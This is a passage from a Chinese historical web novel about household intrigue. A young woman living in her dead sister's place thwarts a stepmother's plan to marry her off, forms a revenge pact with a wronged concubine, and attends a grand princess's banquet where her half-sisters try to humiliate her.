“珺儿什么都好,就是娶的媳妇不行。”老夫人闭着眼睛,享受崔妙人的按摩,一边轻声冷冷地说,“生的也是个遭人厌的,之前瞧着只让人不喜,如今牙尖嘴利,更让人瞧着不爽利。” “您说得是。”崔妙人笑笑,轻声附和,说,“这人和人啊,有时候确实要看天定的缘分。是善缘呢,便怎么都能相处好,是恶缘,便是怎么都处不好。” “你也不用安慰我。”老夫人怒声说,“那哪里是不好,分明就是个毒妇!” 崔妙人便轻声安慰:“老祖宗,您别再想了,想多了伤身。” “你说的是,哎。”老夫人眼圈发红,竟是不胜悲伤,年纪大了却也不敢放任下去,便强行压下来,闭目养神不提。 () 第四十七章 暗自筹谋 关怀素不知家里各人打算,正拉着姨母说话。 她也不客气,上了马车就说:“姨母便是不来,我也想着去找您呢。您可知道,我家里那个大娘子,最近在琢磨给我说亲,看的是滁州刺史的儿子马修文。” 程娘子立刻皱起眉头,说:“马修文?是御史中丞马大人那侄子么,最近才回京师的?” 看关怀素点头,程娘子神色一凝,说:“我听说,那马公子品行似乎不太好,具体我不太晓得,一会儿到了地方,我问问珠儿,她与小姐妹出行较多,知道年轻人的事情。” 程娘子说的珠儿就是那英姿飒爽的骑马姑娘,她的祖父乃是当初程将军的老友,同是先帝帐下将士,双方是生死之交,因此后辈关系极其密切,彷如一家人。 厉如珠性子爽快,等到了程娘子家中,程娘子问厉如珠关于马公子的事情,厉如珠顿时一口茶差点没兜住,得亏反应快,侧头喷到了一侧。 而后她挥退丫鬟,拿袖子擦擦嘴,震惊问关怀素:“我们私底下都在说,不知谁家女孩这么倒霉要嫁给马修文那混账……那倒霉鬼竟是你?!” 程娘子敲她脑门一下,呵斥:“浑说什么呢,只是婉玉她那后娘想这么安排,你快说说,若真是混账,难道还真看着婉玉遭难不成?我头一个不答应!” 说到最后一句,程娘子脸色已经冷下来,身上有了煞气。 厉如珠顿时松了口气,拍胸口说:“没定下来就好,那马修文打马球的时候,大家都是抢球,他倒是好,盯着姑娘冲撞,只想着往我们身上蹭,十分下流,我们后来再不叫他了。” “光天化日的,竟这么猖狂?”这马修文行为举止太过荒诞,便是程娘子都不敢相信,忍不住问,“他不怕满京师都知道么,怎地一点也不收敛?” “那没有。”厉如珠摇头,说,“他先头装了七八天吧,后来才没忍住露了真面目。” “这、这等腌臜人物,如今京师只怕不少人私底下也晓得了,孙萍千挑万选,就选了这个人?!”程娘子气地抚心口,而后又冷笑一声,说,“是了,她替马家办好这事儿,日后少不得好处,她想把你卖了给自家闺女儿子铺路,想都别想!” 程娘子说完,气得一拍桌子,震得桌上的卤花生都跳了起来。 “要不我去设伏,把那孙大娘子打一顿?”厉如珠看着程娘子,热情地拍了拍自己的肩膀自荐。 关怀素“噗嗤”一声笑出声来,厉如珠转头,有些生气地说:“喂,我可是为你出头也,你还嘲笑我?” “不是,我没有嘲笑的意思。”关怀素看她误会,立刻解释,“我觉得姐姐你古道热肠,侠肝义胆,非常英勇。” 这一顿夸下来,厉如珠脸上的表情瞬间高兴了,她奇怪地看着关怀素说:“姨母没骗人,你确实性子变了许多。先头我邀你出来玩,你回回拒绝,还劝我女子应当安分,便偶尔在宴会上遇到,你也从来假装与我不认识,如今怎地换了个人一般?” 厉如珠这话说的,一下子让程娘子有些紧张,生怕关怀素觉得被质问之前为人处事不当,立刻便要把话头引开,关怀素却阻止了程娘子,认真地对厉如珠说:“我自小便被拘在后宅教养,原先是我不懂事,把真心关心我的人拒之门外,反倒是听信小人谗言,是婉玉的错,婉玉跟姨母与厉姐姐道歉。” 说完,她起身行了一礼。 这礼关怀素发自内心,哪怕姐姐被奸人蒙蔽,错过了这些真心关心她的人,但是起码这些人哪怕次次碰壁,却依然真心地关心着姐姐,担心姐姐的处境,这对关怀素来说,就是天大的情分。 程娘子眼前一热,连忙抱住关怀素,连声说:“我的玉儿,你是受了多大的委屈,才换了个人一般,竟是把什么都想分明了。” 关怀素也是眼前发热,哪里是姐姐想清楚了,是姐姐已经被害死了啊! 但是许多话,便是与程娘子也是不好说的,于是关怀素只能回抱住程娘子,落下泪来。 这一番抱头落泪之后,关怀素与姨母之间再无一丝隔阂,反而愈发亲热,便是厉如珠听完她的处境,也从心底里生出义愤填膺来,连忙安慰关怀素,拍着胸脯说,日后若是有什么事情,只管来找她,又说以后遇到一起玩云云。 众人说完闲话,拿帕子稍微擦了擦脸,终于说到了后日孙大娘子的宴会来。 “李家后宅里,我只有几个贴心的丫鬟,其他仆婢都是大娘子与崔小娘的心腹,若是宴会真在家里办,到时候我就怕百密一疏,真正闹出什么事儿,我便再无翻身之日了……”关怀素叹了口气,捏着帕子说。 “不成那日我也去,我倒要看看,在我眼皮子底下,孙萍敢玩什么花招!”程娘子一脸悍烈,冷声说,“若真敢做什么,我拼这条命,也要叫她死!” 一旁厉如珠想了想,说:“妹妹、姨母,你们别担心,她这个宴会应该办不成。” 看二人都回头看她,厉如珠立刻说:“我早上才得的消息,大长公主后日打算大摆宴席,届时满京师人都得去,算算时间,刚巧撞上你那继母的生辰。” “什么?!”程娘子大喜,连忙抓着关怀素的手,连声说,“阿弥陀佛,这可是老天爷都看不过去了,在帮着咱们婉玉呢!” 关怀素也是大喜,心中一块大石终于落地。 大家心中都没了忧虑,终于放开,开心地聊了一下午,到了晚上,姨父陈松下值回家,关怀素才依依不舍道别。 “哎呀呀,屋里好容易热闹了一天,又要清冷了。”程娘子颇为舍不得地看着关怀素上马车,不由自主拿着帕子擦眼睛,显见是哭了。 旁边的陈大人伸手拍她的后背,却因为性子似乎天生有些木讷的关系,一句安慰的话都说不出来。 关怀素连忙伸出头来笑着说:“姨母可别忙着哭,那西边厢房既说了留给我日后来顽,便好好收拾,选些好用的笔墨砚台啥的……到时候我日日过来,姨母到时候别嫌弃我赖着不走就行!” 她这话俏皮话一说,顿时冲淡了离别情绪,想到如今确实今时不同往日,日后见面的时候确实不少,程娘子也顿时心中松快了些,到底也破涕为笑,也打趣说:“知道了!你只管来就是!” 说着想到什么,关怀素刚要收回头,就看到姨母突然提起裙摆,几步走到面前,踮脚凑到马车窗边悄声对关怀素叮嘱:“玉儿,姨母这些日子给你置办了衣衫首饰,你今儿带回去看看,后日你便好生穿戴起来。” 看关怀素没明白,程娘子跺了跺脚,轻声说:“傻孩子,大长公主素来不爱排场,这回弄这么大的动静,定是为了平安侯的婚事。” 怕关怀素不上心,程娘子急促地说:“大长公主常年在外,驸马又是不管事的,这平安侯日后成婚之后,定然是新妇管家,到时候一嫁过去就能当家做主,尊贵又清闲……满京师的闺秀虽多,但是你娘当初与大长公主是同窗,身份情分自有不同。玉儿你好好表现,未必不能雀屏中选!知道吗?记得,好好打扮!” 最后这段话说的是又快又急,关怀素听得还在愣,那边厉如珠看着程娘子说完话离开,立刻一夹马肚子启程,身后陈家的马车夫也跟一挥鞭子跟上。 “姑娘,方才程娘子说了什么?”柳叶好奇地问关怀素。 关怀素这会儿彻底反应过来程娘子说的内容,脑子里想到了周乐天的样子。 昔日破城去敌、英雄盖世的少年将军,如今已经变的单薄羸弱,不但如此,还背负上了叛国骂名。 可是哪怕如此,他真的想娶妻,应当可以满天下随意拣选。 姨母只怕是想多了,宴会上,她和周乐天只怕见都见不到,哪里需要细细打扮? “没什么,姨母叮嘱我小心行事。”因此关怀素只是笑了笑,即刻把此事抛之脑后去了。 她此刻需要细想的是——如何改变家里的局势。 关怀素闭着眼睛,默默地想着家里局势。 崔妙人和孙萍立场一致,都想把她扫地出门,她在李家内宅需要一个同盟,一个能与孙萍和崔妙人分庭抗礼、又绝对不会背叛自己的人。 “宁小娘的身体如何了?”关怀素轻声问身边的柳叶。 柳叶一愣,立刻回答:“郎中说宁小娘伤了根本,如今看着好了许多,但是还得继续温养。后续得常年吃人参养着,估计得要个一年半载才能大好。” 关怀素闻言,想到宁小娘那张脸,她心中暗暗有了打算。 便在这个时候,马车到了地方。 “婉玉妹妹,吵架完回家了,你害怕不?”下了马车,就看到厉如珠翻身下马,提着马鞭有些痞地对她笑。 关怀素笑了一下,摇头,说:“有什么好害怕的,该害怕的是她们才是。” 她说话的时候脸上像是带着笑,但是实则神色冰冷,在西斜的长街上看着有种莫名的肃杀感。 厉如珠愣了一下,问:“你真不害怕啊?” “没什么好怕的。”关怀素看着李家,轻声说,“我这个人呢,最怕的不是别人恶毒,我最怕的,反而是别人很好。” “什么意思?”厉如珠不解。 “因为对好人下手,未免太过阴险小人。但是若对方是阴险小人呢,我便毫无顾忌,可以放开手脚施为了。”关怀素脸上带着温柔的笑,轻声说。 然后对厉如珠点点头,说:“回去时小心点,一路平安,厉姐姐。” 而后,厉如珠就看到她转身,换上了一副恬淡温柔的笑容,扶着丫鬟往李家宅子里款款行去。 “姑娘?”程家随车送人的老妈妈挑起帘子问厉如珠怎地还不走。 “妈妈回去吧,我自个儿骑马回去!”厉如珠回过神来,对着程家的老妈妈挥手,一夹马腹,马蹄声骤起,瞬间便潇洒离去。 “这婉玉姐姐有点意思……”厉如珠在马背上微微笑了一下,轻声自言自语了一句,“倒真像是换了个人一般。” 她如风一般驰骋而去,身后的关怀素也已经回了李家。 () 第四十八章 结盟 才进院子,就看到丁妈妈怒火冲冲地与小荷一起抬着一个箩筐往外走。 “这是怎么了?”关怀素看了一眼,笑着打趣,“谁惹你们了,瞧着跟斗鸡似的?” “姑娘!她们欺负人!”小荷一看到关怀素,立刻露出委屈神色,眼里含着泪花说,“今儿才发的新碳,少了不说,还点不燃!” 关怀素伸头一看,框子周围湿润润的,她心中顿时有数,问丁妈妈:“妈妈,这是给的湿炭?” “不但是湿炭,还是最次等夹着泥灰的垫脚炭,哪怕是晾干了也都是浓烟!乡下屋里都不用这炭火!”丁妈妈怒声说,“这玩意儿灶里烧都嫌烟大呢!” “无事,柳叶,去屋里拿钱,我们自买些上等新炭火就是。”关怀素摇摇头,说。 “我去找他们去,这事儿是他们理亏!”丁妈妈显然舍不得钱,忍不住说。 “这不是理亏不理亏的事情。”关怀素温声开导丁妈妈,说,“你拿这炭火去找谁?找底下人,大家都听大娘子的命令行事,闹大了,我去找父亲?那大娘子可以申斥下人,发作几次,这又有什么用呢?到头来让下人觉得我刻薄,闹得多了,让父亲觉得我不省心,说不得以后还觉得是我性子不大度……今儿个我与大娘子吵了那么一场,她只怕就等着我们去闹呢。” 这些拿捏人心的事情,孙大娘子很擅长,用来拿捏姐姐确实也够了,但是对关怀素来说,真正是洞若观火,一点也激不起她心中风浪。 丁妈妈听得明白了,还是觉得心中不忿,难受地说:“难道就由她拿捏不成?” “那倒不是,这些炭火都摆在院子里,好好存着,我过段时间有用。”关怀素说话之间心中已经有了打算,说,“我估摸着宁小娘那边也没炭火,柳叶,你与我一起过去看看罢。” 丁妈妈虽不明白关怀素要做什么,但是她知道自家姑娘脑子灵光,她虽然不忿,但还是去做了。 关怀素就带着柳叶一路往对面院子去。 宁小娘的院子里,如今倒是显得焕然一新了。 只是院子里没伺候的人,显得寂寥了些。 关怀素推门而入,进去之后,看到宁小娘靠坐在床上正在喝粥。 这是关怀素第一次看到她坐起身,上回躺着就已经看到这位宁小娘十分貌美,如今看她坐起来,才发现她气色好了之后,美得荡人心魄。 按说崔小娘也是风流妩媚,千里挑一的人物,看着保养也十分得当。 但是与宁小娘一比,却完全不够看。 哪怕是关怀素一个女子,看着宁小娘的时候,依旧会被她的美震撼的有一刻走神。 “大姑娘来了。”宁小娘看到关怀素进门来,推开云青喂到嘴边的勺子,想起身说话。 “不用,小娘大病初愈,合该养着才是。”关怀素回过神来,立刻上前阻止宁小娘下床,过去给她掖好被褥,边说:“听说小娘身子骨好了?如今冬日寒冷,多将养一下,等到春暖花开,到时候多出去走走,好得快些。” “这些日子多亏了你,我听云青说,我屋里这些衣裳炭火全数都是大姑娘自掏腰包给安排的,药钱更是花了一百多两银子,我这样的人,怎地就值当姑娘这么抛费……”宁小娘显然是感动又羞愧,说着说着,眼圈发红,竟是带着泪水。 “是啊,今儿我们院子里送进来的都是最下等的炭,根本烧不着,得亏姑娘送来的这些银丝炭,不然今年冬日咱们小娘还不知怎么熬呢。”云青感动地说。 说着拿着帕子擦眼睛,显然也是为自家小娘和自己委屈。 “哎,如今屋里大娘子与崔小娘各自当家,家里其他人自然不好过了。”关怀素温声叹息,轻声说,“不瞒小娘,我那院子里,今儿发下来的炭火也是垫脚炭。” 宁小娘顿时一愣,脱口而出:“她们怎么敢!” “怎么不敢的,我家姑娘这些年,说实话,也就是面上光,私底下过的与小娘这大半年的日子也差不多了。”柳叶心里想着真正的大姑娘,愤恨地说完,又说,“今儿我们大姑娘的姨母来探望,大娘子堵在门口不让进来,我家姑娘忍不住出去见了亲人,回来屋里领的炭火就成了湿炭……这就算了,大娘子还打算把我家姑娘许给一个有了小妾庶子的人呢!” 此话一出,宁小娘顿时吓得瞪圆了眼睛,不可思议地说:“这、这……老爷他不管?!” “后宅的事情,哪里事事都管得过来呢?不过是一些风言风语,没有确实证据,我若是去闹,万一给抓住把柄反将一军,反而更难了。”关怀素苦笑一下,摇了摇头。 宁小娘震惊得说不出话来。 关怀素看着她,并没有打算隐瞒自己的意思,她直视着宁小娘,然后温声说:“小娘可想为孩儿报仇雪恨?” 宁小娘浑身一震,眼睛发出厉光,脱口而出:“大姑娘有办法?” 关怀素微微颔首,轻声说:“我确实有办法,至少先帮小娘先脱了困境。” “大姑娘,你要我做什么,只管告诉我便是!”宁小娘猛地握住关怀素的手,眼神之中带着狠厉与强烈的狂喜,她赌咒发誓一般的语气,连声说,“大姑娘,我自己个脑子不好,对付不了崔妙人那个贱人,也动不了孙萍那会算计的……” 她郑重地说:“但是只要能给我那未出世的孩儿报仇……大姑娘告诉我怎么做,我一定好好做!” 关怀素看着她,也郑重地反握住宁小娘的手,认真地说:“如此,那我今日就与小娘击掌为誓,结为盟约。” 二人在空中击掌三声,声音清脆,如翠玉崩裂一般。 东院,大长公主的帖子到了。 婉淑知道后日可以去大长公主宴会,喜不自胜,竟一时激动得坐卧不宁。 孙大娘子看着不太像话,放下帖子立刻对婉淑说:“婉淑,不过一个酒会而已,你大大小小的宴会参加过多少,怎地今儿还沉不住气?” 婉淑正跟点墨吩咐,一会儿回屋把自己那几套压箱底的衣衫拿出来熏熏,这会子听到母亲说话,脸庞飞起一抹悄不可见的红霞,有些扭捏地对母亲说:“阿娘,我这不是头一次去公主府……” “你别拿这些虚话头哄我。”大娘子摇头,压低声音说,“你是我生的,想什么我还不知道?” 她使了个眼色,周妈妈立刻带着所有丫鬟全出去了,屋里只剩下母女二人,孙大娘子这才坐下来看着婉淑说:“如今满京师都传,大长公主这回回京要给小侯爷相看婚事……你就也想着,万一你有机会,是不是?” “阿娘!”婉淑心中确实有点不可见人的小心思,这会子没想到被阿娘直接这样点出来,她立刻又羞又窘,急迫地喊了一声,然后有点倔强地承认:“万、万一呢,我又没有做什么,阿娘何必这样臊我。” 孙大娘子摇摇头,温声说:“婉淑,你是我生的,阿娘永远都会为你打算。你但凡有你大姐姐和二姐姐那样的姿色,阿娘拼命也会为你争取到更多机缘。可是你最多不过中人之姿,你父亲官身不显,赵二郎已经是你最好的选择,婉淑,此时你绝不可以有一丝动摇与贪念,不然阿娘怕你连赵二郎都留不住。” 孙大娘子这话说的很重,婉淑咬牙,显然有些不愿意接受。 没有一个年轻姑娘愿意承认自己天生容貌不如别人,尤其是在择夫婿这件事上,赵二郎虽好,哪里抵得上小侯爷万分之一? 不说地位,哪怕是外貌,小侯爷也胜过赵二郎百倍千倍了。 这道理孙大娘子何尝不懂,年少慕艾,小侯爷那脸与当年驸马长得极其相似,真当得起一句郎艳独绝。 所以婉玉心动,孙大娘子也十分理解。 但是她却也清楚地明白,婉淑绝对没有一丝机会,平安侯绝不是婉淑能肖想的。 因此她看着婉淑还在赌气,立刻拉着不情愿的婉淑走到镜子前,然后扳正婉淑的头,让她看着大铜镜,在婉淑耳侧冷声说:“婉淑,你看着镜子,看看你和阿娘!” 婉淑看着镜子里的自己,看到母亲冷脸问:“你看清楚,阿娘与你,可算得上美貌?可比得过西院母女二人?!” 婉淑的眼泪一瞬间就落下来了,她的隐秘心思被母亲无情戳穿就算了,偏母亲还这么冷酷地让她直视自己不够漂亮、不够吸引男子的事实。 婉淑落泪之后,又变成大哭起来。 她知道自己不够漂亮、身份地位也不高,能攀上赵家都算是极好的结果,这还是看在父亲与赵家的约定上。 可是这对一个年轻姑娘来说,要面对这么冷酷的算计与自我估量,太残酷了。 残酷到婉淑根本无法面对,只能嚎啕大哭。 孙大娘子也是眼圈发红,也心疼自己的女儿,可是她却只是冷冷地看着婉淑哭。 因为今日不哭,若是去了宴会上做出什么出格的事情,失了赵二郎的心,到时候两头落空,那才是有一辈子哭的时候。 “婉淑,你记着。正是因为你不够漂亮,所以你才一步路都不能走错。”孙大娘子看着婉淑哭完,蹲下身看着女儿,郑重地说,“你不够漂亮,所以你要格外懂事、温柔、忠诚,尤其是忠诚,你要让赵二郎明白,你虽姿色不够,但是你比任何人都坚定地只认准他一个人,比婉蓉和婉玉都坚定,哪怕对方是小侯爷也是如此。” 看着婉淑满脸惊疑,孙大娘子问:“你明白吗?” 婉淑满脸泪水,她虽有年少意气,许多时候总还稚嫩,却到底是母亲多年教养,于是抽泣着慢慢冷静下来,很快悟出了母亲的意思。 婉淑不可置信地抬头看母亲:“阿娘,你的意思是,二姐姐还敢肖想小侯爷不成?” 看母亲居然未否认,婉淑不可置信地说:“她是个五品官家的庶女!她、她们哪里来的信心?” “你且看着吧。西院那对母女可不这样想。”孙大娘子冷笑一声,说,“她们心气,可比咱们的还高呢。” 但是这是好事,孙大娘子轻声对婉淑说:“后日酒宴,你越是端庄稳重,越会衬的婉蓉轻浮浪荡、摇摆不定。” 娶妻娶贤,赵二郎哪怕心中也是年少慕艾,却也一定不会喜欢踩着他还看着别人的女人。 婉淑听母亲抽丝剥茧地说完,顿时心中又涌起狂喜——她确实倾慕小侯爷,但是这种倾慕是仿佛看着湖中月水中纱一般的憧憬。 对于所谓的能被小侯爷看上,那也是怀着仿佛万中之一的幻梦一般的单纯喜悦。 但是当这层幻梦被母亲戳穿之后,婉淑落在了实处,能嫁给一直喜欢的二哥哥,对她来说就是最好的选择。 而有机会能把婉蓉踩下去,对婉淑来说,就是最好的事情。 想到这里,婉淑顿时容光焕发,一时激起无数斗志。 “阿娘,您和我一起去我屋里,给我掌掌眼,看看我后日如何打扮、如何行事!”婉淑擦了擦脸,兴奋地拉着阿娘撒娇。 而看到女儿彻底清醒过来,孙大娘子也放下心来,母女二人一起商量打扮,又细细说了许多私房话,闹到了半宿才歇下。 () 第四十九章 听壁脚 京师传言越来越烈,都说这回大长公主宴会,乃是为了侯爷娶妻之事。 一时之间,居然京师精巧的首饰和料子都卖空了。 李家也是如此,崔妙人那院子里连着几日都是布庄和首饰坊的掌柜来去,流水一般没断绝过。 倒是东院瞧着安静,关怀素心中暗暗感慨,孙萍确实是沉得住气。 到了出发这日,关怀素选了姨母之前给她买的一套烟紫色衣裙,外搭灰兔毛大氅,戴着姨母买的那套赤金镶彩宝头面,柳叶眼睛都看直了,连声夸好看。 “哎呀是好看,和寺里的仙女一般!”丁妈妈也跟着赞叹,“姑娘素日装扮的太素净了,如今这样一看,格外好看呢!” “且比不上。”关怀素笑了一下,有点促狭地说,“走,我们去前头请安,咱们去看看真正的富贵!” 到了老夫人院子里,果然一眼看到婉蓉,差点晃花了关怀素的眼睛。 婉蓉素喜浓艳之色,她本身也衬这些,但是素日到底也不是多宽裕,再浓艳也不过寻常打扮。 今儿却是一身的银红色山水纹提花绫,外头穿着的比甲上用蝶贝拼了扣子,头戴莲花鎏金冠,耳边带着红珊瑚耳铛……真正是富贵牡丹一般,把她的容色衬托到了极致。 倒是婉淑和预想中一样,都和关怀素差不多,只端庄清贵,却并不过于华丽夺目。 见到众人进门,两个姐妹装扮远不及自己,婉蓉心中骄傲,抚着珊瑚耳铛,笑着说:“不愧是祖母的东西,婉蓉还没戴过这么漂亮的红珊瑚耳铛呢!” “那是,你祖母的东西,件件可都是宝贝,便是满京师首饰铺子都寻不到的好东西!”崔小娘在旁边笑说,“偏你祖母疼你,这样好的东西都舍得给你!” 老夫人笑的慈爱,连声说:“婉蓉衬这耳铛,年轻小姑娘,很该戴些鲜亮的。我听说今日是大长公主宴会,你们也都各拿一对吧。” 说着,老夫人指了指面前的托盘,她身边的丫鬟立刻上前,把托盘拿到了婉淑与关怀素面前。 那上面是一对孔雀石的金耳铛与一对珍珠耳铛。 那孔雀石颜色极正没有丝毫杂色,而珍珠虽好,却天长日久微微有些黯淡,婉淑一伸手就先拿了那对孔雀石的耳环,笑着就摘了耳朵上的耳铛对祖母道谢。 关怀素就拿过那对珍珠耳铛,也跟着换了。 老夫人看着极为满意,温声叮嘱她们:“素日在家里怎么闹脾气都无事,这回出去可是代表李家的脸面,切不可淘气。” 然后又冷声问关怀素:“婉玉,你可记得了?” 这期间态度对比极其明显,关怀素心中冷笑,知道老夫人这会儿是故意给她脸色,面上却一派天真地笑着说:“婉玉自小得祖母教养,知道什么该做什么不该做,祖母只管放心。” 言下之意十分明显,这可是祖母亲手教养多年的结果,祖母你一再重复,难道是你教养的人有什么问题? 老夫人呼吸急促起伏一阵,压下来了怒意,但是已经到出发的时候,也不好多说什么,训诫了几句话,就叫她们离开。 这一番折腾,终于从家里出发,往大长公主设宴的城外庄子上去。 一上马车,婉淑就掩袖笑了一下,说:“二姐姐今儿可真漂亮。” 婉蓉自得地摸摸耳铛,骄傲地说:“我本来就漂亮,你以为像你?穿了好东西也是浪费。” 婉淑捏了捏帕子,笑说:“是,姐姐这么漂亮,日后若是飞黄腾达,少不得还得让你照拂我们姐妹呢。对吧大姐姐?” 最后一句却是对着关怀素说的。 关怀素与孙大娘子也算是撕破了脸,这会子也不装傻了,看着婉淑就说:“三妹妹,你自个儿与二妹妹拌嘴,为何总拉我?” 婉淑一愣,没想到大姐姐如此说,一下子没回过神来。 婉蓉却十分开心,她最看不惯婉淑说话阴阳怪气的调调,噗嗤一声笑出声来,说:“是啊,你当你很惹人喜欢不成?每次自己不说,回回都让人帮你说话,端着个嫡女的架子……实际上不过是个乡下破落户出身,真当自己是根葱了,我呸!” 婉淑又窘又怒,到底年纪还小,母亲教给她的养气功夫一下子丢到脑后,气地指着婉蓉怒骂:“那你又算是什么东西,一个为奴为婢的通房之女,再怎么也比正经人家低贱!” 两人大怒,登时连声拌嘴,旁边的丫鬟劝不住,便叫关怀素:“大姑娘,您快劝劝二姑娘和三姑娘呀!” 关怀素本不想搭理,但是眼见着婉淑与婉蓉快动起手来,马车狭小,一会子牵连到她,关怀素才冷声说:“有什么好吵的,走出去都是李家女儿,外人看着都差不多,如今一路都是去宴会的人,叫人听到,那便是什么出身都是粗鲁货色。” 这话一出,登时叫婉蓉和婉淑才稍微冷静下来,二人互瞪了一眼,各自转过头去,不再搭理对方。 路上一路出城的马车,全部都是参宴的熟人,只是文官家眷全都坐马车、挂帘子,武官家眷则全部穿骑服,男女都自己骑马,只有年纪不大的孩童坐马车之中,但也高高卷起车帘,与身边家人大声说笑,男女皆如此。 “她们能骑马呢,真是自在。”柳叶与关怀素游历天下的时候,也会骑马,这会子在李家憋久了,登时看着就十分羡慕,悄声对关怀素说。 关怀素还没点头,那边婉蓉就冷笑一声,说:“骑马有什么好的?危险不说,出去抛头露面的,什么人都能看到,简直是自降身份,这才是真的粗鲁!” 关怀素便笑了笑,说:“那便祝福二妹妹一生都不用抛头露面吧。” “我巴不得呢!咱们这等官宦人家的女儿,从来都不必抛头露面,在后宅养尊处优,才叫尊贵。”婉蓉一抬下巴,骄矜地说。 说话之间,外头传来人声,关怀素转头挑帘子一看,竟是已经到了大长公主的庄园。 大长公主的园子就在京师外城不远处,占地面积十分广阔,老远看着红墙黄瓦,一派皇家森严。 今日大门敞开,车马鳞次栉比,贵人如织,劲装女娘朗笑打马冲过去,下了马,将绳子丢给侍女,便大笑着勾肩搭背自进门去。 文官家眷们则都是在门口石墩子处下马车,一路叫侍女接着入内。 前头都是贵人,李家马车就停在角落避让,关怀素坐在门边,因此便当先要准备下车。 柳叶先跳下马车,回身来接关怀素。 关怀素正打算下去,突然察觉到衣摆不对劲。 她回头一看,便见到婉蓉的鞋下头踩着自己的衣摆。 马车车辙很高,关怀素若是没看到,就这么下车,重则直接摔在地上,轻则是衣服撕破个大口子。 现在门口全是贵眷,无论怎样,都会极其丢人! 婉蓉见关怀素回头看到自己的脚,这才惊讶地捂住嘴巴说:“哎呀,对不住大姐姐,我没看到踩到你衣摆了。” 关怀素哪里猜不到婉蓉是故意的,她冷冷地看了一眼婉蓉,拉了拉衣摆,下了马车。 一进门婉蓉婉淑便寻自己手帕交去了,关怀素便带着柳叶往僻静地方走。 如今已经十月初,天气一天比一天冷,今儿更是北风萧瑟,花园子里竟一个人都没有。 柳叶方才憋着气,见周围无人,便半蹲下来给关怀素拍衣摆被踩到的尘土,一边恨恨地说,“姑娘,二姑娘方才是故意的!” “我何尝不知道?”关怀素冷声说,“不但婉蓉是故意的,婉淑方才在最后头,她也眼睁睁地看着呢,却没有提醒一句。” “这都是什么人啊!”柳叶闻言愈发生气,大怒说,“一个想姑娘撕破衣服出丑,一个眼睁睁地看着也不提醒,简直毫无手足之情!” “人家可没把我当手足。”关怀素冷笑一声,拉委屈的柳叶起来,说,“傻丫头,委屈什么,又不是什么亲近人,值当你放在心上?” 柳叶擦了擦眼睛,看四周都无人,便压低了声音说:“姑娘你别光劝我,你眼睛都红了。” 关怀素这才发现自己眼睛酸胀,鼻子发酸。 原来柳叶如此委屈,是因为察觉了她的愤怒和委屈。 但是她不是替自己委屈,关怀素是替姐姐委屈——姐姐这些年,不知如此被欺负了多少次。 世人都说李家大姑娘性子内敛、不讨喜、行事无度,由此反衬出另外两个女儿,一个貌美,一个端庄。 那些哑巴亏,当一次次地出现在自己身上时,关怀素可以随时反击回去。 可是对姐姐呢? 姐姐那样温柔怯弱的性子,她是如何一次次地吞下这些委屈,如同软刀子割肉一般忍受这时不时来一次的伤害? 关怀素想到这里,眼睫低垂,眨出一滴泪水来。 她飞快擦掉,轻声对柳叶说:“好了,不难受了。迟早咱们会讨回来的。” 于是柳叶点点头,这才扶着关怀素往人多的地方而去。 她完全没想到,她离开之后,从廊下的转角走出来一对主仆。 宋律的小厮小心地看着他。 方才听到关怀素开口说话的时候,宋律脸上忍不住慢慢柔和下来,因为他听出来了,这是他偶遇过两次,极为温厚的那位姑娘。 怕唐突佳人,他本只想着赶紧止步离开,只是没想到转角无锋,他已经看到了来人的模样。 一入眼看到是李婉玉,宋律的脸色就瞬间黑如锅底。 看到人离去,小厮小心提醒:“三少爷,咱们该去宴席了。” “这女人实在是可恶可恼,竟在这里演这出可怜戏码。为了登上这攀龙附凤的通天梯,竟连自家姐妹都编排上了,实在是心机深沉!”他说完,满面怒意,拂袖而去! 而另一边,周乐天也听说了。 “你说什么?李婉玉在花园里偷偷和丫鬟哭?”周乐天放下笔,诧异地问。 “是,下人隔得远,听不清具体说了什么,但是听说大姑娘在门口与家里姐妹吵了几嘴,进门便去花园里,哭了一场才去前厅参宴。”来福轻声说完,把门口那场吵嘴的事情说了。 周乐天一听,立刻皱眉,说:“李家那二姑娘心思不甚正派。” “确实。”来福点头附和,说,“也难怪大姑娘委屈,都是一家子骨肉,竟巴不得她出丑,那三姑娘眼睁睁地看着也不提醒呢!” 周乐天沉思一下,放下手中的笔,皱眉说:“换衣裳,去前面看看。” 来福立刻点头,忙帮周乐天更衣。 第五十章 酒宴(上) 关怀素走到人多的地方,便见几个院落连着花园子全部打了帘子,处处人声鼎沸。 大长公主行事类先帝,男女都只分了亲眷关系依次入座,并无男女大妨。 唯有许多未出阁的闺秀都被排在最里面的长暖阁里,关怀素心想,可能大长公主真有给平安侯选妻的意思。 她走过去落座,刚巧听到旁边有人问:“白芷妹妹怎地没到呢?” “她凑巧昨儿个风寒,没好呢,今儿来不了了。”旁边就有与赵白芷相熟的姑娘笑着回答。 “姐姐在这里呢!”关怀素在角落里听着呢,旁边悄声有人搭话。 关怀素回头一看就笑了,说:“兰妹妹,你也来了!” “怎能不来,接到了这等帖子,我舅舅舅母连夜给我买了新衣服,今儿一早就叫换了衣衫,还租了马车眼巴巴地送我过来。”宋兰嘲讽一笑,说,“要不是我说公主府上规矩大,只怕还想我带着两个堂姐妹一起过来抬抬身价。” 说完,看关怀素关心的表情,宋兰又笑了,说:“姐姐不必这个样子……白芷姐姐竟没来呢。” 她话说到一半,却突然压低声音如此感慨。 “许是风寒了身子难受,这几天天气愈发冷了。”关怀素有些担心地说,“也不知她身子如何了。” “姐姐你是真不知道还是在与我装傻?”宋兰微微诧异地压低声音问。 见关怀素露出不解之色,她便轻声压低声音在关怀素耳边说:“白芷姐姐不是身子不好,她是不能来,不能叫……误会。” 宋兰指了指天上,暗示完,感慨地说:“白芷姐姐在京师都是出名的德行出众,一直以来不知多少人家都去问,但是赵家只说白芷姐姐年纪小,全都拒了。便是说日后再看的话都没提,大家都知道,赵家想给白芷姐姐谋划个好去处,只是苦了她了,姐妹们聚一次少一次,也来不了。” 关怀素想到赵白芷悄悄与周乐天袒露情愫时紧张却孤勇的声音,心中微黯淡,此时侍女叫大家入座,关怀素便收了话头,拉着宋兰一起找了个角落的桌子坐下。 婉蓉与婉淑各自与自己的姐妹一起,也被侍女带着坐在隔壁。 只是二人瞧着脸色不好,估计是又拌嘴了。 大长公主便是这个时候到的。 整个院子瞬间安静下来,众人全数起身行礼。 “行了,都坐下吧。”大长公主行事作风十分不拘小节,挥手说完,便惬意坐下,众人应声,宴席这才开始了。 关怀素坐下,便见席面上冷盘热菜全数流水一般上来,当中主菜就是炙羊肉。 “呀,这炙羊肉闻着真香!”宋兰有些馋地看着,可炙羊肉却是一整块,旁边放着一柄锋利短刀。 